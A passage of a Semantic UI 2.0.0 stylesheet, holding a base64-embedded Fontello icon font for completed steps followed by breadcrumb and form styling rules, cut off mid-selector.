url(\"data:application/x-font-ttf;charset=utf-8;;base64,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\") format('truetype'), url(\"data:application/font-woff;charset=utf-8;base64,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\") format('woff');\n}\n\n.ui.steps .step.completed > .icon:before,\n.ui.ordered.steps .step.completed:before {\n  font-family: 'Step';\n  content: '\\e800';\n  /* '' */\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Breadcrumb\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           Breadcrumb\n*******************************/\n\n.ui.breadcrumb {\n  line-height: 1;\n  margin: 1em 0em;\n  display: inline-block;\n  vertical-align: middle;\n}\n\n.ui.breadcrumb:first-child {\n  margin-top: 0em;\n}\n\n.ui.breadcrumb:last-child {\n  margin-bottom: 0em;\n}\n\n/*******************************\n          Content\n*******************************/\n\n/* Divider */\n\n.ui.breadcrumb .divider {\n  display: inline-block;\n  opacity: 0.7;\n  margin: 0em 0.21428571rem 0em;\n  font-size: 0.92857143em;\n  color: rgba(0, 0, 0, 0.4);\n  vertical-align: baseline;\n}\n\n/* Link */\n\n.ui.breadcrumb a {\n  color: #4183c4;\n}\n\n.ui.breadcrumb a:hover {\n  color: #1e70bf;\n}\n\n/* Icon Divider */\n\n.ui.breadcrumb .icon.divider {\n  font-size: 0.85714286em;\n  vertical-align: baseline;\n}\n\n/* Section */\n\n.ui.breadcrumb a.section {\n  cursor: pointer;\n}\n\n.ui.breadcrumb .section {\n  display: inline-block;\n  margin: 0em;\n  padding: 0em;\n}\n\n/* Loose Coupling */\n\n.ui.breadcrumb.segment {\n  display: inline-block;\n  padding: 0.71428571em 1em;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.breadcrumb .active.section {\n  font-weight: bold;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n.ui.mini.breadcrumb {\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.breadcrumb {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.breadcrumb {\n  font-size: 0.92857143rem;\n}\n\n.ui.breadcrumb {\n  font-size: 1rem;\n}\n\n.ui.large.breadcrumb {\n  font-size: 1.14285714rem;\n}\n\n.ui.big.breadcrumb {\n  font-size: 1.28571429rem;\n}\n\n.ui.huge.breadcrumb {\n  font-size: 1.42857143rem;\n}\n\n.ui.massive.breadcrumb {\n  font-size: 1.71428571rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Form\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Elements\n*******************************/\n\n/*--------------------\n        Form\n---------------------*/\n\n.ui.form {\n  position: relative;\n  max-width: 100%;\n}\n\n/*--------------------\n        Content\n---------------------*/\n\n.ui.form > p {\n  margin: 1em 0em;\n}\n\n/*--------------------\n        Field\n---------------------*/\n\n.ui.form .fields .field,\n.ui.form .field {\n  clear: both;\n  margin: 0em 0em 1em;\n}\n\n.ui.form .field .field,\n.ui.form .field:last-child,\n.ui.form .fields:last-child .field {\n  margin-bottom: 0em;\n}\n\n/*--------------------\n        Labels\n---------------------*/\n\n.ui.form .field > label {\n  display: block;\n  margin: 0em 0em 0.28571429rem 0em;\n  color: rgba(0, 0, 0, 0.87);\n  font-size: 0.92857143em;\n  font-weight: bold;\n  text-transform: none;\n}\n\n/*--------------------\n    Standard Inputs\n---------------------*/\n\n.ui.form textarea,\n.ui.form input:not([type]),\n.ui.form input[type=\"date\"],\n.ui.form input[type=\"datetime-local\"],\n.ui.form input[type=\"email\"],\n.ui.form input[type=\"number\"],\n.ui.form input[type=\"password\"],\n.ui.form input[type=\"search\"],\n.ui.form input[type=\"tel\"],\n.ui.form input[type=\"time\"],\n.ui.form input[type=\"text\"],\n.ui.form input[type=\"url\"],\n.ui.form .ui.input {\n  width: 100%;\n  vertical-align: top;\n}\n\n.ui.form input:not([type]),\n.ui.form input[type=\"date\"],\n.ui.form input[type=\"datetime-local\"],\n.ui.form input[type=\"email\"],\n.ui.form input[type=\"number\"],\n.ui.form input[type=\"password\"],\n.ui.form input[type=\"search\"],\n.ui.form input[type=\"tel\"],\n.ui.form input[type=\"time\"],\n.ui.form input[type=\"text\"],\n.ui.form input[type=\"url\"] {\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  margin: 0em;\n  outline: none;\n  -webkit-appearance: none;\n  tap-highlight-color: rgba(255, 255, 255, 0);\n  line-height: 1.2142em;\n  padding: 0.67861429em 1em;\n  font-size: 1em;\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  color: rgba(0, 0, 0, 0.87);\n  border-radius: 0.28571429rem;\n  box-shadow: 0em 0em 0em 0em transparent inset;\n  -webkit-transition: color 0.1s ease, border-color 0.1s ease;\n  transition: color 0.1s ease, border-color 0.1s ease;\n}\n\n/* Collapse Flex */\n\n.ui.form .ui.input > input {\n  width: 0px !important;\n}\n\n/* Text Area */\n\n.ui.form textarea {\n  margin: 0em;\n  -webkit-appearance: none;\n  tap-highlight-color: rgba(255, 255, 255, 0);\n  padding: 0.78571429em 1em;\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  outline: none;\n  color: rgba(0, 0, 0, 0.87);\n  border-radius: 0.28571429rem;\n  box-shadow: 0em 0em 0em 0em transparent inset;\n  -webkit-transition: color 0.1s ease, border-color 0.1s ease;\n  transition: color 0.1s ease, border-color 0.1s ease;\n  font-size: 1em;\n  line-height: 1.2857;\n  resize: vertical;\n}\n\n.ui.form textarea:not([rows]) {\n  height: 12em;\n  min-height: 8em;\n  max-height: 24em;\n}\n\n.ui.form textarea,\n.ui.form input[type=\"checkbox\"] {\n  vertical-align: top;\n}\n\n/*--------------------------\n  Input w/ attached Button\n---------------------------*/\n\n.ui.form input.attached {\n  width: auto;\n}\n\n/*--------------------\n     Basic Select\n---------------------*/\n\n.ui.form select {\n  display: block;\n  height: auto;\n  width: 100%;\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  border-radius: 0.28571429rem;\n  box-shadow: 0em 0em 0em 0em transparent inset;\n  padding: 0.62em 1em;\n  color: rgba(0, 0, 0, 0.87);\n  -webkit-transition: color 0.1s ease, border-color 0.1s ease;\n  transition: color 0.1s ease, border-color 0.1s ease;\n}\n\n/*--------------------\n       Dropdown\n---------------------*/\n\n.ui.form .field > .selection.dropdown {\n  width: 100%;\n}\n\n.ui.form .field > .selection.dropdown > .dropdown.icon {\n  float: right;\n}\n\n.ui.form .inline.field > .selection.dropdown {\n  width: auto;\n}\n\n.ui.form .inline.field > .selection.dropdown > .dropdown.icon {\n  float: none;\n}\n\n/*--------------------\n       Dividers\n---------------------*/\n\n.ui.form .divider {\n  clear: both;\n  margin: 1em 0em;\n}\n\n/*--------------------\n   Types of Messages\n---------------------*/\n\n.ui.form .success.message,\n.ui.form .warning.message,\n.ui.form .error.message {\n  display: none;\n}\n\n/* Assumptions */\n\n.ui.form .message:first-child {\n  margin-top: 0px;\n}\n\n/*--------------------\n   Validation Prompt\n---------------------*/\n\n.ui.form .field .prompt.label {\n  white-space: nowrap;\n}\n\n.ui.form .inline.field .prompt {\n  margin: -0.5em 0em -0.5em 1em;\n}\n\n.ui.form .inline.field .prompt:before {\n  margin-top: -0.3em;\n  bottom: auto;\n  right: auto;\n  top: 50%;\n  left: 0em;\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------------\n      Autofilled\n---------------------*/\n\n.ui.form .field.field input:-webkit-autofill {\n  box-shadow: 0px 0px 0px 100px #fffff0 inset !important;\n  border-color: #e5dfa1 !important;\n}\n\n/* Focus */\n\n.ui.form .field.field input:-webkit-autofill:focus {\n  box-shadow: 0px 0px 0px 100px #fffff0 inset !important;\n  border-color: #d5c315 !important;\n}\n\n/* Error */\n\n.ui.form .error.error input:-webkit-autofill {\n  box-shadow: 0px 0px 0px 100px #fffaf0 inset !important;\n  border-color: #e0b4b4 !important;\n}\n\n/*--------------------\n      Placeholder\n---------------------*/\n\n/* browsers require these rules separate */\n\n.ui.form ::-webkit-input-placeholder {\n  color: rgba(140, 140, 140, 0.87);\n}\n\n.ui.form ::-ms-input-placeholder {\n  color: rgba(140, 140, 140, 0.87);\n}\n\n.ui.form ::-moz-placeholder {\n  color: rgba(140, 140, 140, 0.87);\n}\n\n.ui.form :focus::-webkit-input-placeholder {\n  color: rgba(89, 89, 89, 0.87);\n}\n\n.ui.form :focus::-ms-input-placeholder {\n  color: rgba(89, 89, 89, 0.87);\n}\n\n.ui.form :focus::-moz-placeholder {\n  color: rgba(89, 89, 89, 0.87);\n}\n\n/* Error Placeholder */\n\n.ui.form .error ::-webkit-input-placeholder {\n  color: #bf4d4b;\n}\n\n.ui.form .error ::-ms-input-placeholder {\n  color: #bf4d4b;\n}\n\n.ui.form .error ::-moz-placeholder {\n  color: #bf4d4b;\n}\n\n.ui.form .error :focus::-webkit-input-placeholder {\n  color: #b2413f;\n}\n\n.ui.form .error :focus::-ms-input-placeholder {\n  color: #b2413f;\n}\n\n.ui.form .error :focus::-moz-placeholder {\n  color: #b2413f;\n}\n\n/*--------------------\n        Focus\n---------------------*/\n\n.ui.form input:not([type]):focus,\n.ui.form input[type=\"date\"]:focus,\n.ui.form input[type=\"datetime-local\"]:focus,\n.ui.form input[type=\"email\"]:focus,\n.ui.form input[type=\"number\"]:focus,\n.ui.form input[type=\"password\"]:focus,\n.ui.form input[type=\"search\"]:focus,\n.ui.form input[type=\"tel\"]:focus,\n.ui.form input[type=\"time\"]:focus,\n.ui.form input[type=\"text\"]:focus,\n.ui.form input[type=\"url\"]:focus {\n  color: rgba(0, 0, 0, 0.95);\n  border-color: rgba(34, 36, 38, 0.35);\n  border-radius: 0.28571429rem;\n  background: #ffffff;\n  box-shadow: 0px 0em 0em 0em rgba(34, 36, 38, 0.35) inset;\n}\n\n.ui.form textarea:focus {\n  color: rgba(0, 0, 0, 0.95);\n  border-color: rgba(34, 36, 38, 0.35);\n  border-radius: 0.28571429rem;\n  background: #ffffff;\n  box-shadow: 0px 0em 0em 0em rgba(34, 36, 38, 0.35) inset;\n  -webkit-appearance: none;\n}\n\n/*--------------------\n        Success\n---------------------*/\n\n/* On Form */\n\n.ui.form.success .success.message {\n  display: block;\n}\n\n.ui.form.success .icon.success.message {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n/*--------------------\n        Error\n---------------------*/\n\n/* On Form */\n\n.ui.form.warning .warning.message {\n  display: block;\n}\n\n.ui.form.warning .icon.warning.message {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n/*--------------------\n        Warning\n---------------------*/\n\n/* On Form */\n\n.ui.form.error .error.message {\n  display: block;\n}\n\n.ui.form.error .icon.error.message {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n/* On Field(s) */\n\n.ui.form .fields.error .field label,\n.ui.form .field.error label,\n.ui.form .fields.error .field .input,\n.ui.form .field.error .input {\n  color: #9f3a38;\n}\n\n.ui.form .fields.error .field .corner.label,\n.ui.form .field.error .corner.label {\n  border-color: #9f3a38;\n  color: #ffffff;\n}\n\n.ui.form .fields.error .field textarea,\n.ui.form .fields.error .field select,\n.ui.form .fields.error .field input:not([type]),\n.ui.form .fields.error .field input[type=\"date\"],\n.ui.form .fields.error .field input[type=\"datetime-local\"],\n.ui.form .fields.error .field input[type=\"email\"],\n.ui.form .fields.error .field input[type=\"number\"],\n.ui.form .fields.error .field input[type=\"password\"],\n.ui.form .fields.error .field input[type=\"search\"],\n.ui.form .fields.error .field input[type=\"tel\"],\n.ui.form .fields.error .field input[type=\"time\"],\n.ui.form .fields.error .field input[type=\"text\"],\n.ui.form .fields.error .field input[type=\"url\"],\n.ui.form .field.error textarea,\n.ui.form .field.error select,\n.ui.form .field.error input:not([type]),\n.ui.form .field.error input[type=\"date\"],\n.ui.form .field.error input[type=\"datetime-local\"],\n.ui.form .field.error input[type=\"email\"],\n.ui.form .field.error input[type=\"number\"],\n.ui.form .field.error input[type=\"password\"],\n.ui.form .field.error input[type=\"search\"],\n.ui.form .field.error 